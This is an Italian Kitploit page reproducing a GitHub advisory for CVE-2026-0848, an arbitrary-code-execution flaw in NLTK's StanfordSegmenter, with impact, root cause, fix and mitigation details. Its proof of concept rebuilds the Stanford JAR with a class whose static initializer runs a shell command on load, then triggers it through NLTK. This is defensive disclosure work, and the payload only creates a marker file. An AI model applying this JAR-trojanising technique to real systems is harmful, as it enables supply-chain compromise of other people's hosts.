Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-0848 — nltk.tokenize.StanfordSegmenter carica dinamicamente file Java .jar esterni senza verifica o sandboxing. Se un attaccante può fornire o sostituire il JAR (ad esempio, un download di modello avvelenato, uno scambio di pacchetti MITM o un avvelenamento delle dipendenze), codice bytecode Java arbitrario viene eseguito al momento dell'importazione. | Kitploit
Strumenti/GitHubGitHub/hyperps/cve-2026-0848
Analisi delle VulnerabilitàAnalisi del CodiceExploitSicurezza della Supply ChainPaper e RicercaApprendimento e Formazione
GitHubhyperps/cve-2026-0848

CVE-2026-0848

Vedi Repository
35 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

nltk.tokenize.StanfordSegmenter carica dinamicamente file Java .jar esterni senza verifica o sandboxing. Se un attaccante può fornire o sostituire il JAR (ad esempio, un download di modello avvelenato, uno scambio di pacchetti MITM o un avvelenamento delle dipendenze), codice bytecode Java arbitrario viene eseguito al momento dell'importazione.

Condividi

CVE-2026-0848 — NLTK StanfordSegmenter: Esecuzione di Codice Arbitrario tramite Caricamento di JAR Non Attendibili


Panoramica

CampoDettagli
CVE IDCVE-2026-0848
Pacchettonltk (Natural Language Toolkit)
RegistryPyPI
Versioni Coinvolte<= 3.9.2
Tipo di VulnerabilitàCWE-20: Validazione Non Corretta dell'Input
Punteggio CVSS10.0 (Critical)
Vettore di AttaccoNetwork
Complessità di AttaccoLow
Privilegi RichiestiNone
Interazione UtenteNone
ScopeChanged
Impatto sulla RiservatezzaHigh
Impatto sull'IntegritàHigh
Impatto sulla DisponibilitàHigh
Data di Segnalazione6 dicembre 2025
Data di Pubblicazione CVEMarzo 2026
SupportoPalo Alto Networks / Prisma AIRS

Descrizione

nltk.tokenize.StanfordSegmenter carica dinamicamente file Java .jar esterni tramite subprocess senza eseguire alcuna verifica di integrità, controllo delle firme o sandboxing. La classe accetta parametri completamente controllabili dall'attaccante, inclusi path_to_jar, path_to_model, path_to_dict e java_class, e li passa direttamente a un'invocazione java -cp.

Se un attaccante può fornire o sostituire il file JAR — tramite un download di modelli avvelenato, uno scambio del pacchetto man-in-the-middle, l'avvelenamento delle dipendenze o un mirror di rilascio corrotto — del bytecode Java arbitrario viene eseguito al momento del caricamento della classe tramite il meccanismo di inizializzazione statica della JVM. Ciò costituisce una vulnerabilità di Remote Code Execution nella supply chain che consente una fuga completa dal runtime Python.


Componenti Coinvolti

FileRigheDescrizione
nltk/tokenize/stanford_segmenter.pyL53–L118Accetta path_to_jar, path_to_model, path_to_dict e java_class controllabili dall'attaccante senza alcuna validazione
nltk/internals.pyL220–L300Avvia l'esecuzione di Java direttamente con percorso JAR e classpath controllati dall'utente, senza sandboxing né verifica dei checksum
nltk/internals.pyL109–L152subprocess.Popen() esegue Java con un input classpath non validato, consentendo alla JVM di caricare bytecode arbitrario ed eseguire gli inizializzatori statici

Vettore CVSS

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MetricaValore
Vettore di AttaccoNetwork
Complessità di AttaccoLow
Privilegi RichiestiNone
Interazione UtenteNone
ScopeChanged
RiservatezzaHigh
IntegritàHigh
DisponibilitàHigh

Impatto

Lo sfruttamento riuscito garantisce a un attaccante il pieno controllo del sistema che esegue il processo di segmentazione NLTK:

  • Esecuzione di codice Java arbitrario — Qualsiasi bytecode incorporato nel JAR dannoso viene eseguito con i privilegi del processo Python/Java
  • Fuoriuscita dal runtime Python — L'esecuzione si sposta nella JVM, bypassando completamente la sandbox a livello Python
  • Esecuzione di comandi a livello di sistema operativo — Gli attaccanti possono invocare Runtime.getRuntime().exec() o ProcessBuilder per eseguire comandi shell arbitrari
  • Furto e modifica dei dati — Accesso a tutti i file, le variabili d'ambiente, le chiavi API e i segreti leggibili dal processo
  • Compromissione completa dell'ambiente — In ambienti CI/CD, pipeline NLP di produzione o ambienti server, un singolo JAR dannoso porta alla conquista completa dell'host

Scenari di Distribuzione ad Alto Rischio

ScenarioImpatto
Un ricercatore ML carica un segmenter pre-addestrato da internetUn attaccante remoto ottiene l'esecuzione di codice
Un'organizzazione scarica uno ZIP corrotto di un modello di segmentazione cineseIl malware viene eseguito all'interno della pipeline NLP di produzione
Il server CI/CD installa il modello tramite wget/unzip da un mirror non HTTPSCompromissione completa dell'ambiente
Dirottamento di una dipendenza o mirror di rilascio avvelenatoRCE completa nella supply chain

Questa vulnerabilità colpisce qualsiasi flusso di lavoro NLP che utilizzi StanfordSegmenter, inclusi chatbot, pipeline di preprocessamento LLM, segmentazione di dataset, classificazione di documenti e servizi di inferenza in produzione.


Prova di Concetto

Queste informazioni sono fornite esclusivamente a scopo educativo e difensivo. Non testare sistemi che non possiedi o per i quali non hai un'autorizzazione esplicita.

Passaggio 1 — Sostituire il Classificatore Principale con una Classe Java Dannosa

root@kitploit:~
cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class

cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;

public class CRFClassifier {
    static {
        try {
            System.out.println("\nPayload executed — Code ran on class load!\n");
            Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
        } catch(Exception e){}
    }
    public static void main(String[] args){}
}
EOF

javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar

Passaggio 2 — Creare il JAR Dannoso

root@kitploit:~
mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..

Passaggio 3 — Innescare tramite NLTK

root@kitploit:~
# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter

print("[+] Triggering payload via modified Stanford JAR...")

seg = StanfordSegmenter(
    path_to_jar="stanford-segmenter.jar",
    path_to_sihan_corpora_dict="./data/",
    path_to_dict="./data/dict-chris6.ser.gz",
    path_to_model="./data/pku.gz",
    java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
    encoding="utf-8"
)

print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))

Output:

root@kitploit:~
[+] Triggering payload via modified Stanford JAR...

Payload executed — Code ran on class load!

[+] Running segmentation...
我 爱 自然语言 处理

Conferma della RCE:

root@kitploit:~
ls /tmp | grep pwned_hijack
# pwned_hijack

Causa Principale

La vulnerabilità è presente in due file:

stanford_segmenter.py — Il costruttore della classe StanfordSegmenter accetta path_to_jar, path_to_model, path_to_dict e java_class come semplici argomenti stringa e li inoltra direttamente al livello di esecuzione Java senza eseguire nessuna delle seguenti operazioni:

  • Applicazione di un allowlist di percorsi o di directory attendibili
  • Verifica SHA-256 o della firma crittografica del JAR
  • Validazione del parametro java_class rispetto a un insieme noto e sicuro di nomi di classe

internals.py — L'helper java() costruisce e lancia una chiamata subprocess.Popen() con il classpath fornito dall'utente. La JVM carica immediatamente tutte le classi contenute nel JAR fornito, eseguendo eventuali blocchi di inizializzazione statica prima che la logica applicativa venga eseguita. Non esiste alcuna sandbox, alcun controllo di integrità e alcun meccanismo in grado di impedire l'esecuzione di bytecode iniettato.


Correzione

La vulnerabilità è stata completamente risolta nel repository NLTK upstream.

RisorsaLink
Correzione di Sicurezza Centrale (tutte le CVE)https://github.com/nltk/nltk/pull/3522
PR di correzione iniziale del ricercatorehttps://github.com/nltk/nltk/pull/3477 (unita)

Esegui l'aggiornamento a una versione corretta di NLTK appena sarà disponibile su PyPI.


Mitigazione

AzioneDettagli
Aggiorna NLTKAggiorna a una versione successiva alla 3.9.2 che contenga la correzione della PR #3522
Non Utilizzare Percorsi JAR Controllati dall'UtenteNon consentire mai all'input utente di influenzare gli argomenti path_to_jar, path_to_model o java_class
Verifica l'Integrità dei JARVerifica sempre i checksum SHA-256 dei file JAR scaricati rispetto agli hash ufficiali pubblicati prima dell'uso
Utilizza Solo Sorgenti HTTPSScarica i file di modelli e i JAR esclusivamente da sorgenti HTTPS ufficiali; rifiuta qualsiasi mirror HTTP o non verificato
Privilegio MinimaleEsegui i servizi basati su NLTK con un utente del sistema operativo limitato e con permessi minimi su file system e rete
ContainerizzazioneIsola i servizi NLP in container Docker o sandbox simili per limitare il raggio d'esplosione degli exploit basati su JAR
Monitoraggio delle DipendenzeUtilizza uno strumento di analisi della composizione software per rilevare dipendenze JAR manomesse o sostituite nelle pipeline CI/CD

Aggiornamento tramite pip:

root@kitploit:~
pip install --upgrade nltk

Verifica della versione installata:

root@kitploit:~
python -c "import nltk; print(nltk.__version__)"

Cronologia

DataEvento
6 dicembre 2025Vulnerabilità segnalata a huntr.dev dal ricercatore hyperps1 (Sarvesh Patil)
Dicembre 2025Team di manutenzione di NLTK notificato tramite huntr.dev
Gennaio 2026Il manutentore di NLTK ha validato la vulnerabilità; bounty di divulgazione assegnato
Gennaio 2026CVE-2026-0848 assegnata
Gennaio 2026PR di correzione #3477 del ricercatore inviata e unita
Febbraio 2026Avviso di pre-pubblicazione di 48 ore inviato ai manutentori di NLTK
Marzo 2026CVE pubblicata su NVD e huntr.dev
Marzo 2026Correzione di sicurezza centrale per tutte le CVE unita tramite la PR #3522

Riferimenti

RisorsaLink
Voce NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-0848
Registro CVE Ufficialehttps://cve.org/CVERecord?id=CVE-2026-0848
Segnalazione huntr.devhttps://huntr.dev
PR di Correzione Centralehttps://github.com/nltk/nltk/pull/3522
PR di Correzione del Ricercatorehttps://github.com/nltk/nltk/pull/3477
NLTK su PyPIhttps://pypi.org/project/nltk/
Stanford Word Segmenterhttps://nlp.stanford.edu/software/segmenter.html
OWASP — Esecuzione di Codice Arbitrariohttps://owasp.org/www-community/attacks/Code_Injection
OWASP — Percorso di Ricerca Non Attendibilehttps://owasp.org/www-community/vulnerabilities/Unsafe_use_of_Reflection
CWE-20: Validazione Non Corretta dell'Inputhttps://cwe.mitre.org/data/definitions/20.html
CWE-502: Deserializzazione di Dati Non Attendibilihttps://cwe.mitre.org/data/definitions/502.html

Disclaimer

Questo repository documenta la CVE-2026-0848 esclusivamente per scopi educativi, di ricerca e di sicurezza difensiva. Il codice proof-of-concept e i dettagli tecnici sono forniti per assistere sviluppatori, ingegneri della sicurezza e amministratori di sistema nella comprensione, valutazione e risoluzione di questa vulnerabilità.

Qualsiasi utilizzo di queste informazioni per accedere o compromettere sistemi senza autorizzazione esplicita è illegale e non etico. L'autore non si assume alcuna responsabilità per un uso improprio delle informazioni contenute nel presente documento.

Contributori: ketanHub

Scarica lo strumento